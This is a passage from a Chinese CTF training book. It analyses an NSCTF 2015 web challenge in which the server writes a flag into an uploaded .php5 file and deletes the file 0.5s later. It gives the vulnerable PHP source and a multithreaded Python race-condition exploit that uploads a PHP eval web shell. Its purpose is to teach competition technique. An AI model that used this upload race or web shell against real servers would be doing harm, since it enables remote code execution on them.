CTF特训营:技术详解、解题方法与竞赛技巧
上QQ阅读APP看书,第一时间看更新

8.1 NSCTF 2015 Web实例

题目逻辑较为简单,当你上传一个php5后缀的文件时,是能够成功上传的,但是很快就会看到提示:检测到恶意文件,且该文件会立即被删掉。题目并没有给出源代码,不过这里我们会结合源码来进行分析,主要源码如下:


<h1>请上传文件!</h1><br>
<form method="post" action="index.php" enctype="multipart/form-data">
 <input type="file" name="file" value="1111"/>
 <input type="submit" name="submit" value="upload"/>
</form>
<?php
error_reporting(0);
if(isset($_POST['submit'])) {
  $savefile = $_FILES['file']['name'];
  $savefile = preg_replace("/\.\.|\%/", "", $savefile);
  $tempfile = $_FILES['file']['tmp_name'];
  $savefile = preg_replace("/(php|phtml|php3|php4|jsp|exe|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i", "_\\1\\2", $savefile);
  $savefile = 'upload/'.$savefile;
  if(move_uploaded_file($tempfile,$savefile)) {
    $filename = $savefile;
    if(file_exists($filename) && ((substr($savefile, -5) == '.php5'))) {
        file_put_contents($filename, "flag:{NSCTF_8f0fc74ddf786103ed56d20af3bf269}");
        sleep(0.5);
        unlink($filename);
        exit('上传成功,文件地址为:'.$savefile."<br>"."但是系统检测到恶意上传立马又被删了~");
      }else{
    unlink($filename);
        exit('上传成功,文件地址为:'.$savefile."<br>");
      }
  }else{
    exit('上传失败~'."<br>");
  }
}

可以看到题目将flag写入我们上传的文件,但是隔了0.5s之后就删掉了,所以我们可以通过多线程并发操作,同时上传然后访问,利用中间0.5s的间隙通过条件竞争漏洞在其还未被删除时访问,即可获得flag,测试代码如下:


import sys
import requests
import threading

url1 = "http://127.0.0.1:8000/"
url2 = "http://127.0.0.1:8000/upload/1.php5"

def upload(url):
    boundary = '---------------------------1140584253378828599621526726'
    header = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
                'Accept-Encoding': 'gzip, deflate',
                'Content-Type': 'multipart/form-data; boundary='+boundary,
                'Connection': 'keep-alive',
            }
    tmp = []
    tmp.append('--' + boundary)
    tmp.append('Content-Disposition: form-data; name="file"; filename="1.php5"')
    tmp.append('Content-Type: application/octet-stream')
    tmp.append('')
    content="<?php @eval($_POST[bendawang]);?>"
    tmp.append(content)
    tmp.append('--' + boundary)
    tmp.append('Content-Disposition: form-data; name="submit"')
    tmp.append('')
    tmp.append('upload')
    tmp.append('--' + boundary + '--')
    tmp.append('')
    CRLF = '\r\n'
    data = CRLF.join(tmp)

    result=requests.post(url,data=data,headers=header)
    return result

def get(url):
    try:
        result=requests.get(url)
        if "flag" in result.content:
            print result.content
    except:
        pass

def main():
  while True:
      t1 = threading.Thread(target=upload, args=(url1,)) # 一个线程上传
      t2 = threading.Thread(target=get, args=(url2,)) # 一个线程竞争访问
      t1.start()
      t2.start()
      t1.join()
      t2.join()

if __name__ == '__main__':
  sys.exit(int(main() or 0))

运行结果如图8-1所示。

图8-1 运行结果